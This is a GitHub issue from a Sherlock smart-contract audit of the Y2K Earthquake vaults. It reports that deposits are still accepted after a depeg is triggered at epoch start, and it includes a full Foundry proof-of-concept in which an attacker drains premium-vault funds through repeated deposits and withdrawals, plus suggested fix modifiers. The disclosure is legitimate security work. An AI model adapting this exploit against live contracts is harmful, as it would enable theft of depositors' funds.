Skip to content
This repository has been archived by the owner on Oct 1, 2023. It is now read-only.

toshii - Attacker can drain all funds from a vault if a depegging event happens prior to any epoch starting #196

Closed
sherlock-admin opened this issue Mar 27, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Mar 27, 2023

toshii

high

Attacker can drain all funds from a vault if a depegging event happens prior to any epoch starting

Summary

Attacker is able to drain all the funds from a vault if a depegging event happens prior to any epoch starting.

Vulnerability Detail

An attacker is able to drain all the funds from a vault in the event that a depeg event happens prior to an epoch starting. This includes not only the funds deposited for that epoch, but all funds ever deposited in that vault. This is possible because in the case of a depeg event, on the epoch's epochBegin timestamp, triggerDepeg(..) can be called on the ControllerPeggedAssetV2 contract. During this same timestamp, there is nothing stopping an attacker from depositing arbitrary amounts of funds into that epoch using deposit(..) or depositETH(..). This allows them to take advantage of the ratio between claimTVL and finalTVL, by being able to constantly drain claimTVL/finalTVL from the vault for each token they deposit. In the case that the user does not have the upfront funds to perform this attack, taking a flashloan is trivial.

Referenced lines of code:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L432
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L86
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L107
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Controllers/ControllerPeggedAssetV2.sol#L71

Impact

This is high severity because an attacker has the ability to drain a vault of all funds during an event (depeg prior to epoch start) which is not an edge case, but rather has a decent probability of occurring.

Code Snippet

POC including preliminary state and steps (foundry test):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// project files
import {TokenMock} from "src/my-tests/TokenMock.sol"; // simple ERC20 token w/ minting
import {WETH} from "src/my-tests/WETH.sol"; // WETH mock
import {OracleMock} from "src/my-tests/OracleMock.sol"; // mock oracle

import {Carousel} from "src/v2/Carousel/Carousel.sol";
import {CarouselFactory} from "src/v2/Carousel/CarouselFactory.sol";
import {ControllerPeggedAssetV2} from "src/v2/Controllers/ControllerPeggedAssetV2.sol";

contract TestStealDepegEarnings is Test {
    // protocol users
    address admin = makeAddr('admin'); // project admin
    address attacker = makeAddr('attacker'); // attacker address
    address user1 = makeAddr('user1'); // other user addresses
    address user2 = makeAddr('user2');
    address user3 = makeAddr('user3');

    WETH weth;
    TokenMock emissionsToken;
    OracleMock sequencerFeed;
    OracleMock priceFeed;

    CarouselFactory carouselFactory;
    ControllerPeggedAssetV2 controllerPeggedAssetV2;
    Carousel premiumVault;
    Carousel collateralVault;
    
    uint256 epochId1;
    uint256 epochId2;
    uint256 marketId;

    /// configuring starting state for showing bug/exploit
    function setUp() public {
        vm.deal(attacker, 100 ether);
        vm.deal(user1,100 ether);
        vm.deal(user2,100 ether);
        vm.deal(user3,100 ether);

        vm.startPrank(admin); // admin setting up starting project state
        vm.warp(10_000); // to mock that sequencer is up

        weth = new WETH();
        emissionsToken = new TokenMock();
        emissionsToken.mint(admin,10_000e18); // admin is used as treasury

        carouselFactory = new CarouselFactory(
            address(weth),admin,admin,address(emissionsToken)
        );
        emissionsToken.approve(address(carouselFactory),type(uint256).max);

        sequencerFeed = new OracleMock();
        sequencerFeed.setData(1,0,0,0,1); // sequencer is up

        priceFeed = new OracleMock();
        priceFeed.setData(1,1e8,0,0,1); // setting price for asset, decimals=8

        controllerPeggedAssetV2 = new ControllerPeggedAssetV2(
            address(carouselFactory),address(sequencerFeed),admin
        );

        carouselFactory.whitelistController(address(controllerPeggedAssetV2));

        // creating a new market:
        CarouselFactory.CarouselMarketConfigurationCalldata memory config = 
            CarouselFactory.CarouselMarketConfigurationCalldata({
                token: address(1), // arbitrary, just for lookup to oracle
                strike: 99e17,
                oracle: address(priceFeed),
                underlyingAsset: address(weth),
                name: "name",
                tokenURI: "tokenURI",
                controller: address(controllerPeggedAssetV2),
                relayerFee: 10000,
                depositFee: 250
            }
        );

        (address premium, address collateral, uint256 _marketId) = carouselFactory.createNewCarouselMarket(config);
        marketId = _marketId;
        premiumVault = Carousel(premium);
        collateralVault = Carousel(collateral);

        // creating the first two epochs, with the first one beginning and the second one queued:

        (epochId1,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+10), // epochBegin
            uint40(block.timestamp+20), // epochEnd
            100,1_000e18,1_000e18
        );

        vm.warp(block.timestamp+10); // epoch 1 has started

        // 10 timestamp gap between the first epoch and the second epoch
        (epochId2,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );

        // first epoch resolved with nullEpoch as there are no deposits
        controllerPeggedAssetV2.triggerNullEpoch(marketId,epochId1);
        vm.stopPrank();
    }

    /// showcasing the bug/exploit
    function testStealDepegEarnings() public {

        // showcasing how users can steal all money from a vault if there is a depeg event
        // which occurs prior to any epoch starting

        // user1 deposits funds into the premium vault
        vm.prank(user1);
        premiumVault.depositETH{value:10e18}(
            epochId2,user1
        );

        // user2 deposits funds into the collateral vault
        vm.prank(user2);
        collateralVault.depositETH{value:50e18}(
            epochId2,user2
        );

        // the asset has depegged, simulating this by setting the oracle price
        // the price of the asset is now less than the strike price
        priceFeed.setData(1,98e7,0,0,1);

        vm.warp(block.timestamp+20); // second epoch has started

        // create the third epoch - done to show that attacker can steal all vault funds, including deposits for future epochs
        vm.prank(admin);
        (uint256 epochId3,) = carouselFactory.createEpochWithEmissions(
            marketId,
            uint40(block.timestamp+20), // epochBegin
            uint40(block.timestamp+30), // epochEnd
            100,1_000e18,1_000e18
        );
        // user3 deposits funds into the premium vault for epoch 3
        vm.prank(user3);
        premiumVault.depositETH{value:50e18}(
            epochId3,user3
        );

        // as soon as the epoch started, depeg event triggered
        controllerPeggedAssetV2.triggerDepeg(marketId,epochId2);

        // attacker who is watching from the sidelines can swoop in and steal all earnings from premiumVault
        // before user1 can withdraw earnings
        uint256 depositAmount = uint256(10e18)*1000/975; // exact deposit amount to get 10e18 epochId=2 tokens

        vm.prank(attacker);
        premiumVault.depositETH{value:depositAmount}(
            epochId2,attacker
        );

        vm.prank(attacker);
        premiumVault.withdraw( // attacker drains the vault of all earnings from epoch 2
            epochId2,10e18,attacker,attacker
        );

        assertEq(weth.balanceOf(attacker),premiumVault.claimTVL(epochId2));

        // attacker is not only able to drain funds from an individual epoch, but can use this attack path to drain the entire vault of all funds
        // showcasing here how the attacker can drain funds including those deposited by user3 to the unstarted epoch 3 vault
        vm.prank(attacker);
        premiumVault.depositETH{value:depositAmount}(
            epochId2,attacker
        );

        vm.prank(attacker);
        premiumVault.withdraw( // attacker drains the vault of more funds, including user3 deposits
            epochId2,10e18,attacker,attacker
        );

        assertEq(weth.balanceOf(attacker),premiumVault.claimTVL(epochId2)*2); // attacker steals more funds

        // in practice all these calls would be included in a single transaction and would exactly calculate what to deposit/withdraw 
        // to drain all funds. assuming user does not have enough funds onhand, flashloans can be easily used here
    }

}

Tool used

Manual Review

Recommendation

The easiest way to mitigate this attack is to add a modifier to the deposit(..) and depositETH(..) functions which check that the epoch has not ended:

modifier epochHasNotEnded(uint256 id) {
	if (epochResolved[id]) revert EpochResolved(); // add this new error too
	_;
}

However, there is also a fundamental issue wrt. the fact that the epochHasNotStarted and epochHasStarted modifiers both return True when the timestamp is equal to epochBegin, which breaks a fundamental invariant (this should not be a valid state). To resolve this issue you can also update the epochHasNotStarted modifier as follows:

modifier epochHasNotStarted(uint256 _id) {
	if (block.timestamp >= epochConfig[_id].epochBegin) revert EpochAlreadyStarted();
	_;
}

Duplicate of #480

@github-actions github-actions bot closed this as completed Apr 3, 2023
@github-actions github-actions bot added Medium A valid Medium severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Apr 3, 2023
@sherlock-admin sherlock-admin added the Reward A payout will be made for this issue label Apr 11, 2023
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

1 participant